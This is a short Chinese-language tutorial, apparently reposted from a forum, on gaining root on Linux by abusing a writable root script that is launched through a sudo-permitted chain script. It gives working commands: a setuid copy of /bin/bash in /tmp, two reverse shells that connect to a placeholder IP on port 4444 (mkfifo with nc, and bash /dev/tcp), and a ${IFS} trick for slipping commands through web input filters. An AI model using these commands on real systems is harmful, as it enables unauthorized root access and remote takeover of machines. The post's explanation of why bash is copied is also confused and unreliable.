以普通用户登入后,先sudo -l
看看有什么具有root权限、且普通用户可以写入的脚本
例:A.sh
该类脚本普通用户是启动不了的,但可以通过链式脚本启动
例:
存在脚本B.sh,其内部为:- #!/usr/bin/perl
- system("sh", "/etc/A.sh");
复制代码 即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本
A、B脚本对于普通用户一般为:
A可以写入且具有root权限,但不可执行
B可以免密执行但不可写入
所以最重要的是找到这条链,并修改A脚本,最后执行B脚本
在找到A脚本后就可以通过两种方法来提取:
1.修改脚本来切换shell获取root权限的方法:
原理:
一般/bin/bash是具有root权限,而且普通用户不能启动,
故将其复制为/tmp/bash,这是允许用户启动的shell
这样一旦用户运行脚本/tmp/bash则会拥有root的权限
接着用户就可以运行/tmp/bash来获取root权限
操作:
1.先将命令写入A脚本- echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /../../A.sh
复制代码
2.以sudo执行B脚本
可以通过很多的方法启动
用sudo -l里允许的链式脚本文件或程序启动脚本
3.切换shell,获取root权限到这里就已经为root用户了
2.修改脚本建立一个反弹shell获取root权限的方法
原理:
运行脚本,脚本自动执行内置命令
然后就会反弹一个shell给本地机
本地机预先监听就可以连入
操作:
1.先将命令写入A脚本- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your_ip 4444 >/tmp/f<br><br>4444为将要监听的端口
复制代码 或是该命令也行- bash -i >&/dev/tcp/your_ip/4444 0>&1<br><br>4444为监听端口<br>可以用${IFS}来代替一个空格(用于网页command输入)
复制代码
2.在本地机上开启监听
3.以sudo运行B脚本
运行完连入后即为root用户
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |